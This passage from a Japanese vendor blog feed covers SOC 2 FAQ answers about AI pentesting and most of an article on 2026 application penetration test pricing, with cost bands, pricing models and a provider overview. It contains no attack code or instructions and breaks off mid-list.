&lt;p&gt;なりません。ペンテストレポートはセキュリティアセスメントを文書化したものです。SOC 2レポートは、組織の制御を検証した後に独立した公認会計士事務所が発行するものです。ペンテストは、その検証にエビデンスを提供することができます。&lt;/p&gt;
&lt;h3 id="ペンテストで脆弱性が見つかった場合はどうなるか"&gt;ペンテストで脆弱性が見つかった場合はどうなるか&lt;/h3&gt;
&lt;p&gt;検出結果に優先順位を付け、各問題の修正担当者を割り当て、変更の記録を残します。その後、再テストによってそれらの修正が機能しているかを確認します。未解決の問題については、リスク、予定している対応、一時的な保護策を文書化し、監査への影響を監査人と話し合ってください。&lt;/p&gt;
&lt;script type="application/ld+json"&gt;
{
  "@context": "https://schema.org",
  "@graph": [
    {
      "@type": "ItemList",
      "@id": "https://blog.ostorlab.co/soc-2-ai-pentesting-providers-comparison.html#providers",
      "name": "SOC 2コンプライアンスの観点で評価したAIペンテストプロバイダー",
      "description": "SOC 2監査への対応、テストのカバレッジ、エクスプロイトのエビデンス、人間によるレビュー、サンプルレポート、再テスト、価格の透明性の観点で評価した6社のAIペネトレーションテストプロバイダー。",
      "numberOfItems": 6,
      "itemListElement": [
        {
          "@type": "ListItem",
          "position": 1,
          "name": "Ostorlab",
          "url": "https://ostorlab.co/plans/"
        },
        {
          "@type": "ListItem",
          "position": 2,
          "name": "XBOW",
          "url": "https://xbow.com/"
        },
        {
          "@type": "ListItem",
          "position": 3,
          "name": "Aikido",
          "url": "https://help.aikido.dev/pentests/pentest-pricing"
        },
        {
          "@type": "ListItem",
          "position": 4,
          "name": "Intruder",
          "url": "https://www.intruder.io/pentest-pricing"
        },
        {
          "@type": "ListItem",
          "position": 5,
          "name": "Escape",
          "url": "https://escape.tech/product/ai-pentesting"
        },
        {
          "@type": "ListItem",
          "position": 6,
          "name": "Penti",
          "url": "https://penti.ai/pricing"
        }
      ]
    },
    {
      "@type": "FAQPage",
      "@id": "https://blog.ostorlab.co/soc-2-ai-pentesting-providers-comparison.html#faq",
      "mainEntity": [
        {
          "@type": "Question",
          "name": "AIペンテストのレポートはSOC 2に使用できるか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "はい、AIペンテストはSOC 2監査の裏付けとなるエビデンスを提供できます。受け入れられるかどうかは、アセスメントとそれが生み出すエビデンスによって決まります。予約する前に、提案されたスコープ、テスト手法、サンプルレポートを監査人と共有してください。"
          }
        },
        {
          "@type": "Question",
          "name": "SOC 2は年1回のペネトレーションテストを要求しているか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "SOC 2は、すべての組織に対して年1回のテスト要件を一律に定めているわけではありません。AICPAはペネトレーションテストをCC4.1（独立的評価に関する着眼点）の評価方法の一つに含めています。テストの頻度は、自社のリスク、セキュリティに関するコミットメント、監査対象の制御を反映したものにすべきです。"
          }
        },
        {
          "@type": "Question",
          "name": "ペンテストレポートはSOC 2レポートの代わりになるか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "なりません。ペンテストレポートはセキュリティアセスメントを文書化したものです。SOC 2レポートは、組織の制御を検証した後に独立した公認会計士事務所が発行するものです。ペンテストは、その検証にエビデンスを提供することができます。"
          }
        },
        {
          "@type": "Question",
          "name": "ペンテストで脆弱性が見つかった場合はどうなるか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "検出結果に優先順位を付け、各問題の修正担当者を割り当て、変更の記録を残します。その後、再テストによってそれらの修正が機能しているかを確認します。未解決の問題については、リスク、予定している対応、一時的な保護策を文書化し、監査への影響を監査人と話し合ってください。"
          }
        }
      ]
    }
  ]
}
&lt;/script&gt;</content><category term="Security"/><category term="AI-Pentesting"/><category term="SOC-2"/><category term="Enterprise-Security"/><category term="Security-Reviews"/><category term="Penetration-Testing"/></entry><entry><title>2026年のアプリケーションペネトレーションテストの費用はいくらか</title><link href="https://blog.ostorlab.co/ja/application-penetration-test-cost-2026.html" rel="alternate"/><published>2026-09-25T08:00:00+02:00</published><updated>2026-10-06T12:00:00+02:00</updated><author><name>Abir Jelti</name></author><id>tag:blog.ostorlab.co,2026-09-25:/ja/application-penetration-test-cost-2026.html</id><summary type="html">&lt;p&gt;2026年の手動アプリペンテストの費用は$3,000〜$50,000+、公開されているAIペンテストは$499〜約$8,000です。価格を左右する要素、見積もりの除外項目、比較方法を解説します。&lt;/p&gt;</summary><content type="html">&lt;p&gt;2通のペンテストの見積もりが手元に届きます。$4,000と$40,000です。どちらにも「Webアプリケーションペネトレーションテスト」と書かれています。しかし、両者が同じテストであることはまずありません。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;簡単な答え&lt;/strong&gt;：2026年の手動アプリケーションペネトレーションテストの費用は、おおよそ&lt;strong&gt;単一のWebアプリまたはAPIで$3,000〜$18,000&lt;/strong&gt;、&lt;strong&gt;複数のサーフェスにわたるスコープ（Web、API、モバイル、クラウド）で$18,000〜$50,000+&lt;/strong&gt;です。公開されているAIペンテストのパッケージは、スコープを定めた評価1件あたり&lt;strong&gt;$499〜約$8,000&lt;/strong&gt;です。価格は、ユーザーロール、認証、接続されたアセット、テストの深さ、再テストによって決まります。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;このガイドは、ペンテストの予算を立てる必要がある、または似ても似つかない見積もりを比較する必要があるセキュリティ責任者、CTO、調達チームに向けたものです。価格は2026年9月時点のものです。&lt;/p&gt;
&lt;h2 id="2026年のアプリケーションペネトレーションテストの費用はいくらか"&gt;2026年のアプリケーションペネトレーションテストの費用はいくらか&lt;/h2&gt;
&lt;p&gt;手動のペンテストはテスター日数で価格が決まり、AIペンテストは評価単位、サブスクリプション、またはクレジットで価格が決まります。下の表は、計画に使える価格帯をまとめたものです。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;テストモデル&lt;/th&gt;
&lt;th style="text-align: left;"&gt;予算の目安&lt;/th&gt;
&lt;th style="text-align: left;"&gt;一般的な価格設定&lt;/th&gt;
&lt;th style="text-align: left;"&gt;選ぶべきケース&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;AIまたは自律型ペンテスト&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;公開されているスコープ定義済みパッケージで$499〜約$8,000、エンタープライズ向けは個別価格&lt;/td&gt;
&lt;td style="text-align: left;"&gt;評価単位、サブスクリプション、アセット枠、またはクレジット&lt;/td&gt;
&lt;td style="text-align: left;"&gt;頻繁なテスト、リリースの検証、実行時のエビデンス&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;手動ペンテスト、単一のWebアプリまたはAPI&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;約$3,000〜$18,000&lt;/td&gt;
&lt;td style="text-align: left;"&gt;テスター日数、固定スコープ、またはプロジェクト料金&lt;/td&gt;
&lt;td style="text-align: left;"&gt;複雑なロジック、正式な保証、担当者が明示された人間のテスター&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;手動ペンテスト、複数サーフェスのスコープ&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;約$18,000〜$50,000+&lt;/td&gt;
&lt;td style="text-align: left;"&gt;複数のスペシャリストにわたるテスター日数&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Web、API、モバイル、クラウドをまとめて評価&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Pentest as a Service（PTaaS）&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;通常は個別価格またはクレジットベース&lt;/td&gt;
&lt;td style="text-align: left;"&gt;年間サブスクリプション、前払いクレジット、または個別の案件&lt;/td&gt;
&lt;td style="text-align: left;"&gt;毎年複数のテストを実施する組織&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;AIと人間のハイブリッドテスト&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;個別価格&lt;/td&gt;
&lt;td style="text-align: left;"&gt;自動化プラットフォームと専門家によるレビュー&lt;/td&gt;
&lt;td style="text-align: left;"&gt;重要なスコープに人間による保証を加えた継続的なカバレッジ&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="2026年のアプリケーションペンテスト価格の範囲を示すチャート：Ostorlab AI Pentestは$499〜$3,999、固定価格のAIペンテストは$4,000〜$8,000（Intruderによる）、単一Webアプリの手動ペンテストは$3,000〜$18,000、テスター日数3〜15日のWebアプリは$4,500〜$37,500（Intruderによる）、米国でのWeb、API、クラウドは$18,000〜$40,000、従来型のペンテストは$20,000〜$50,000（Cobaltによる）" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-09-25_cost2026/pentest-price-bands-2026.svg" title="公開されているアプリケーションペンテストの価格帯（2026年）"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;公開されているアプリケーションペンテストの価格帯（2026年）&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;これらは計画用の価格帯であり、普遍的な料金ではありません。北米、欧州、APAC、LATAMの地域別の日額料金については、&lt;a href="https://blog.ostorlab.co/penetration-testing-for-startups-2026-guide.html"&gt;スタートアップ向けペネトレーションテスト2026年版ガイド&lt;/a&gt;をご覧ください。&lt;/p&gt;
&lt;h2 id="これらの価格帯の根拠は何か"&gt;これらの価格帯の根拠は何か&lt;/h2&gt;
&lt;p&gt;価格帯は、2026年9月に確認した公開の価格ガイドと公開されているパッケージ価格に基づいています。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Intruder&lt;/strong&gt;は、手動の日額料金を&lt;strong&gt;$1,500〜$2,500&lt;/strong&gt;と見積もっており、Webアプリケーションのテストは&lt;strong&gt;$4,500（ジュニア3日）〜$37,500（シニア15日）&lt;/strong&gt;になります。固定価格のAIペンテストは&lt;strong&gt;$4,000〜$8,000&lt;/strong&gt;としています（&lt;a href="https://www.intruder.io/blog/how-much-does-penetration-testing-cost"&gt;Intruder、2026年9月更新&lt;/a&gt;）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cobalt&lt;/strong&gt;は、従来型のペンテストを&lt;strong&gt;$20,000〜$50,000&lt;/strong&gt;とし、PTaaSは平均で約31%安かったと報告しています（&lt;a href="https://www.cobalt.io/blog/cost-metrics-exploring-pentesting-as-a-service-prices"&gt;Cobalt、2024年2月&lt;/a&gt;）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Ostorlabのスタートアップ向けガイド&lt;/strong&gt;は、Webアプリケーションのペンテストを&lt;strong&gt;$3,000〜$18,000&lt;/strong&gt;、米国でのWeb、API、クラウドの評価を&lt;strong&gt;$18,000〜$40,000&lt;/strong&gt;としています（&lt;a href="https://blog.ostorlab.co/penetration-testing-for-startups-2026-guide.html"&gt;Ostorlab、2026年8月&lt;/a&gt;）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;XBOW&lt;/strong&gt;は価格を公開していません。価格は利用量ベースで、環境ごとにスコープが決められます（&lt;a href="https://xbow.com/pricing"&gt;XBOWの価格&lt;/a&gt;）。$4,000のPentest On-Demandは2026年7月16日に提供終了となりました。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Ostorlab&lt;/strong&gt;は、AI Pentestの各プランを&lt;strong&gt;$499&lt;/strong&gt;から公開しています（&lt;a href="https://ostorlab.co/plans"&gt;Ostorlabのプラン&lt;/a&gt;）。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;開示事項&lt;/strong&gt;：Ostorlabはこのブログを公開し、AI Pentestのパッケージを販売しています。多くのプロバイダーはスコープ定義の後にしか価格を開示しないため、AIペンテストの価格帯は市場全体ではなく、公開されているパッケージを反映したものです。この記事は四半期ごとに見直しており、価格は変動します。&lt;/p&gt;
&lt;h2 id="アプリケーションペンテストの価格には何が含まれるか"&gt;アプリケーションペンテストの価格には何が含まれるか&lt;/h2&gt;
&lt;p&gt;見積もりには3つの要素が反映されます。ターゲット、テストの深さ、そして受け取るエビデンスです。&lt;/p&gt;
&lt;h3 id="「一つのアプリケーション」に含まれるもの"&gt;「一つのアプリケーション」に含まれるもの&lt;/h3&gt;
&lt;p&gt;「一つのアプリケーション」は単一のWebサイトの場合もあれば、次のものを含む場合もあります。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Webフロントエンド&lt;/li&gt;
&lt;li&gt;REST、GraphQL、その他のAPI&lt;/li&gt;
&lt;li&gt;AndroidアプリケーションとiOSアプリケーション&lt;/li&gt;
&lt;li&gt;管理用ポータル&lt;/li&gt;
&lt;li&gt;ソースコードリポジトリ&lt;/li&gt;
&lt;li&gt;クラウドサービス、IDプロバイダー、サードパーティとの連携&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;提案書には、含まれるアセットをすべて明記すべきです。「アプリケーション」としか書かれていない場合は、何が除外されているかを尋ねてください。&lt;/p&gt;
&lt;h3 id="テストの深さはアプリケーションの規模より重要か"&gt;テストの深さはアプリケーションの規模より重要か&lt;/h3&gt;
&lt;p&gt;多くの場合、そのとおりです。到達可能な機能全体に広くチェックを適用する評価もあれば、ワークフローを追跡し、ユーザーを比較し、状態変化をテストし、弱点を連鎖させることに時間をかける評価もあります。&lt;/p&gt;
&lt;p&gt;短い支払い、承認、アカウント復旧のワークフローのほうが、数百ページの公開コンテンツよりも多くの調査を必要とすることがあります。&lt;/p&gt;
&lt;h3 id="エビデンスの質で価格が変わるのはなぜか"&gt;エビデンスの質で価格が変わるのはなぜか&lt;/h3&gt;
&lt;p&gt;疑わしい弱点の一覧を作成するほうが、再現可能なリクエストとレスポンス、影響の実証、人間による検証、修復ガイダンス、再テストを含むレポートを作成するよりも安く済みます。この違いが、開発者が調査を繰り返すことなく検出結果に対処できるかどうかを左右します。&lt;/p&gt;
&lt;h2 id="手動のアプリケーションペンテストの価格はどう決まるか"&gt;手動のアプリケーションペンテストの価格はどう決まるか&lt;/h2&gt;
&lt;p&gt;手動のペンテストは、必要なテスター日数を中心にスコープが決められます。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Manual test cost = (tester days &amp;times; day rate) + project overhead + optional services&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;プロジェクトのオーバーヘッドには、スコープ定義、環境のセットアップ、プロジェクト管理、レポート作成、品質レビュー、報告会、修復の検証が含まれます。&lt;/p&gt;
&lt;p&gt;標準的な認証を備えた単一のWebアプリケーションの費用は、通常&lt;strong&gt;$3,000〜$18,000&lt;/strong&gt;です。Web、API、モバイルクライアント、クラウドにまたがる複雑なエコシステムを複数のスペシャリストが評価する場合は、通常&lt;strong&gt;$18,000〜$50,000+&lt;/strong&gt;です。スコープが明確で安定したテスト環境があれば、工数は減ります。認証情報の不備やテストデータの不足は、カバレッジを増やすことなく有償のテスター日数を消費します。&lt;/p&gt;
&lt;h2 id="aiまたは自律型ペンテストの価格はどう決まるか"&gt;AIまたは自律型ペンテストの価格はどう決まるか&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;AIペンテスト&lt;/strong&gt;とは、アプリケーションを探索し、レスポンスを観察し、次のアクションを選び、悪用可能な挙動の検証を試みるプラットフォームが実行するテストです。購入者が目にする価格モデルは通常4つです。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;評価単位&lt;/strong&gt;：定義されたターゲットとテスト期間に対して一つの価格&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;サブスクリプション&lt;/strong&gt;：アプリケーション数、テスト数、または深さに上限がある月額または年額のアクセス&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;アセットベース&lt;/strong&gt;：アプリケーション、API、リポジトリ、ホスト、またはワークスペースに連動した価格&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;消費型クレジット&lt;/strong&gt;：通常のスキャンは含まれ、より深い自律的な調査でクレジットを消費&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;テスト単価が低いことは、同等のカバレッジを証明するものではありません。システムが何に到達したか、どのアイデンティティを使ったか、どの検出結果を検証したか、何が未探索のまま残ったかを尋ねてください。その確認方法は&lt;a href="https://blog.ostorlab.co/can-you-trust-ai-pentesting-results.html"&gt;AIペンテストの結果は信頼できるか&lt;/a&gt;で解説しています。&lt;/p&gt;
&lt;h2 id="ostorlabのai pentestの料金はいくらか"&gt;OstorlabのAI Pentestの料金はいくらか&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Ostorlab AI Pentest&lt;/strong&gt;は、OstorlabのDeep Agentic Scanエンジン上に構築された、エクスプロイトで検証された単発の評価です。公開されているプランは4つあります（&lt;a href="https://ostorlab.co/plans"&gt;ostorlab.co/plans&lt;/a&gt;）。&lt;/p&gt;
&lt;!-- TODO(product): confirm "built on Deep Agentic Scan" is the correct way to describe the relationship between AI Pentest and Deep Agentic Scan. --&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;プラン&lt;/th&gt;
&lt;th style="text-align: left;"&gt;価格&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;Core&lt;/td&gt;
&lt;td style="text-align: left;"&gt;$499&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;Advanced&lt;/td&gt;
&lt;td style="text-align: left;"&gt;$1,999&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;Elite&lt;/td&gt;
&lt;td style="text-align: left;"&gt;$3,999&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;Hyperscale&lt;/td&gt;
&lt;td style="text-align: left;"&gt;個別価格、スコープに合わせて設定&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;!-- TODO(product): the plans page renders prices client-side; confirm $1,999 (Advanced) and $3,999 (Elite) are current. Add one line on what separates Core, Advanced, Elite, and Hyperscale (assets, depth, testing time?). --&gt;
&lt;p&gt;すべてのプランに、AIエージェントが確定した検出結果ごとの実際に動作するエクスプロイト、接続されたWeb、API、モバイルのアセットに対する&lt;a href="https://blog.ostorlab.co/ostorlab-multi-asset-deep-agentic-scan.html"&gt;マルチアセット対応&lt;/a&gt;、再テスト期間が含まれます。人間による検証は含まれません。再テスト期間の長さは見積もりに記載されます。&lt;/p&gt;
&lt;p&gt;&lt;em&gt;2026年10月5日更新：AI Pentestの検出結果はAIエージェントによってエクスプロイトで検証されます。人間による検証は含まれません（&lt;a href="https://ostorlab.co/plans"&gt;プラン&lt;/a&gt;を参照）。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;2026年10月6日更新：XBOWは$4,000のPentest On-Demandを2026年7月16日に提供終了しました。XBOWは現在、価格を公開していません。&lt;/em&gt;&lt;/p&gt;
&lt;!-- TODO(product): state the retest window length (e.g. "N-day retest window") and whether it differs by tier; then replace the sentence above. --&gt;
&lt;p&gt;継続的なプログラム向けに、Ostorlabは&lt;strong&gt;AppSec&lt;/strong&gt;と&lt;strong&gt;Enterprise&lt;/strong&gt;も提供しています。AppSecは、接続されたアプリのワークスペース一つと毎月のAIクレジットをカバーするサブスクリプションです。Enterpriseは、共有クレジット、ガバナンス、連携、Attack Surface、App Vettingを含む個別の年間契約です。これらを一つの評価の価格と比較すべきではありません。単発のAI Pentestはスコープを定めた問いに答えるものであり、AppSecとEnterpriseは継続的に実行されるものだからです。&lt;/p&gt;
&lt;h2 id="アプリケーションペンテストの費用を決める要素は何か"&gt;アプリケーションペンテストの費用を決める要素は何か&lt;/h2&gt;
&lt;p&gt;費用は、ワークフロー、ロール、接続されたアセットの数、そしてアプリケーションへの到達や操作の難しさに応じて増加します。最も大きな要因は次のとおりです。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ワークフローの複雑さ&lt;/strong&gt;：固有のワークフロー、エンドポイント、状態遷移、信頼境界が多いほど、より多くのテストが必要です。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ユーザーロールとテナント&lt;/strong&gt;：ロールやテナントが一つ増えるごとに、テストすべき認可の境界が増えます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;接続されたアセット&lt;/strong&gt;：API、モバイルクライアント、ソースリポジトリ、クラウドサービス、IDシステムが評価の範囲を広げます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;認証&lt;/strong&gt;：SSO、MFA、デバイスバインディング、ローテーションするトークン、短いセッションは、セットアップの工数を増やします。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ビジネスロジック&lt;/strong&gt;：承認、トランザクション、アカウント復旧、複数ステップのワークフローには、コンテキストを踏まえた調査が必要です。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;人間による検証とレポート作成&lt;/strong&gt;：専門家によるレビュー、正式なレポート、報告会、証明書は、提供作業を増やします。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;再テスト&lt;/strong&gt;：修復の検証を含めるプロバイダーもあれば、別途請求するプロバイダーもあります。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="アプリケーションの種類はペンテストの費用にどう影響するか"&gt;アプリケーションの種類はペンテストの費用にどう影響するか&lt;/h2&gt;
&lt;p&gt;アプリケーションの種類によって、必要なツール、スペシャリスト、テスト環境、エビデンスが変わります。見積もりでは、すべてのターゲットを汎用的なアプリケーションとして扱うのではなく、アセットのクラスを明記すべきです。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;評価の種類&lt;/th&gt;
&lt;th style="text-align: left;"&gt;価格を変える追加作業&lt;/th&gt;
&lt;th style="text-align: left;"&gt;必要な専門能力&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Webアプリケーション&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ロール、ワークフロー、テナント境界、ビジネスロジック、管理機能&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Webと認可のテスト&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;API&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;エンドポイントのインベントリ、スキーマ、オブジェクト間の関係、トークン、レート制限、非同期処理&lt;/td&gt;
&lt;td style="text-align: left;"&gt;APIと認可のテスト&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;モバイルアプリケーション&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;APK/IPAのレビュー、物理端末、実行時の計装、証明書ピンニングのバイパス、ローカルストレージ、モバイルAPI&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Android/iOSのリバースエンジニアリングと実行時テスト&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;クラウドに接続されたアプリケーション&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;IAM、ストレージ、サーバーレス関数、キュー、シークレット、クラウドの設定&lt;/td&gt;
&lt;td style="text-align: left;"&gt;クラウドとIDのセキュリティ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;デスクトップアプリケーション&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ネイティブバイナリ、ローカル権限、IPC、アップデートチャネル、バックエンドとの信頼関係&lt;/td&gt;
&lt;td style="text-align: left;"&gt;リバースエンジニアリングとOSのセキュリティ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;AIアプリケーション&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;プロンプトインジェクション、検索拡張、モデルへのアクセス、ツール、エージェントの権限、データ漏えい&lt;/td&gt;
&lt;td style="text-align: left;"&gt;AI/MLとアプリケーションセキュリティのテスト&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;ハードウェア、ファームウェア、IoT、スマートコントラクトの評価は、ラボ機器、端末の分解、経済的攻撃の分析が必要なため、専門企業によって別途価格が設定されます。これらはアプリケーションペンテストの見積もりのスコープ外です。モバイル向けのツールについては、&lt;a href="https://blog.ostorlab.co/top-10-mobile-pentesting-tools-in-2026.html"&gt;2026年のモバイルペンテストツールのおすすめ&lt;/a&gt;をご覧ください。&lt;/p&gt;
&lt;h2 id="aiペンテストと脆弱性スキャンの違いは何か"&gt;AIペンテストと脆弱性スキャンの違いは何か&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;脆弱性スキャナー&lt;/strong&gt;は、あらかじめ定義されたチェックを適用します。&lt;strong&gt;AIペンテスト&lt;/strong&gt;は、アプリケーションが返す内容から次のステップを計画し、影響の実証を試みます。AI機能があるからといって、スキャナーが自動的にペンテストになるわけではありません。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;機能&lt;/th&gt;
&lt;th style="text-align: left;"&gt;脆弱性スキャナー&lt;/th&gt;
&lt;th style="text-align: left;"&gt;AIまたは自律型ペンテスト&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;テストのロジック&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;事前定義されたルールとヒューリスティック&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ターゲットのレスポンスに基づく目標指向の計画&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;ワークフローの探索&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;通常はクローラー主導&lt;/td&gt;
&lt;td style="text-align: left;"&gt;アプリケーションの状態、ロール、複数ステップのフローに適応&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;検証&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;チェックごとのシグネチャまたはレスポンスの一致、組み込みの実証を伴う場合もある&lt;/td&gt;
&lt;td style="text-align: left;"&gt;2つ目のアイデンティティで別のユーザーのデータを読み取るなど、コンテキストの中で影響の再現を試みる&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;エビデンス&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;検出結果の詳細とスキャンのトレース&lt;/td&gt;
&lt;td style="text-align: left;"&gt;実行記録：何が観察され、次に何が試され、どのリクエストとレスポンスがそれを実証したか&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;カバレッジの性質&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;広く、再現性がある&lt;/td&gt;
&lt;td style="text-align: left;"&gt;適応的、深さはターゲットと制御に依存&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;実行記録を見せてもらうよう依頼してください。詳しくは、&lt;a href="https://blog.ostorlab.co/ai-pentest-vs-agentic-scanning.html"&gt;AIスキャナーはいつAIペンテストになるのか&lt;/a&gt;と&lt;a href="https://blog.ostorlab.co/ai-pentesting-evidence-workflows.html"&gt;AIペンテストのワークフローにおけるエビデンスの流れ&lt;/a&gt;をお読みください。&lt;/p&gt;
&lt;h2 id="市場の各領域にはどのプロバイダーがいるか"&gt;市場の各領域にはどのプロバイダーがいるか&lt;/h2&gt;
&lt;p&gt;すべてのプロバイダーがスタックの同じレイヤーをテストするわけではありません。以下は代表例であり、ランキングではありません。説明は2026年9月時点の各ベンダーの公開サイトに基づいています。&lt;/p&gt;
&lt;h3 id="aiと自律型のアプリケーションテスト"&gt;AIと自律型のアプリケーションテスト&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Ostorlab&lt;/strong&gt;は、エクスプロイトで検証された単発のAI Pentestパッケージと、接続されたモバイル、Web、APIのアセットを対象とする継続的なプランを提供しています。&lt;/li&gt;
&lt;li&gt;&lt;a href="https://xbow.com/"&gt;&lt;strong&gt;XBOW&lt;/strong&gt;&lt;/a&gt;は、WebアプリケーションとAPIの自律型テストを掲げています。価格は利用量ベースで環境ごとにスコープが決められるため、価格は公開されていません。&lt;a href="https://blog.ostorlab.co/ostorlab-vs-xbow.html"&gt;OstorlabとXBOWの比較&lt;/a&gt;をご覧ください。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="aiと人間によるptaas"&gt;AIと人間によるPTaaS&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.cobalt.io/"&gt;&lt;strong&gt;Cobalt&lt;/strong&gt;&lt;/a&gt;は、Agentic PTaaSとして提供される「人間主導でAIを活用したペンテスト」を掲げています。&lt;/li&gt;
